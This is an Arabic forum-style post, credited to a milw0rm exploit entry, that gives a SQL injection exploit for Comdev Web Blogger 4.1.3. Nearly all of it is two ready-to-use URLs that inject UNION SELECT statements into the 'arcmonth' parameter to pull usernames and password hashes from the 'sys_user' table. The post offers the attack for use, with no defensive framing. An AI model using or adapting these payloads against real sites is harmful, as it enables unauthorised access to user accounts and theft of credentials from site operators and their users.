السلام عليكم ورحمة الله
السكربت المصاب
Comdev Web Blogger 4.1.3
الاستثمار
كود:
http://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007&arcmonth=-1%20union%20select%201,concat(username,0x3a,password),3,4,5,6%20from%20sys_user--
http://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007&arcmonth=-11%20union%20select%201,username,3,password,5,6%20from%20sys_user/
المصدر
milw0rm.com/exploits/6079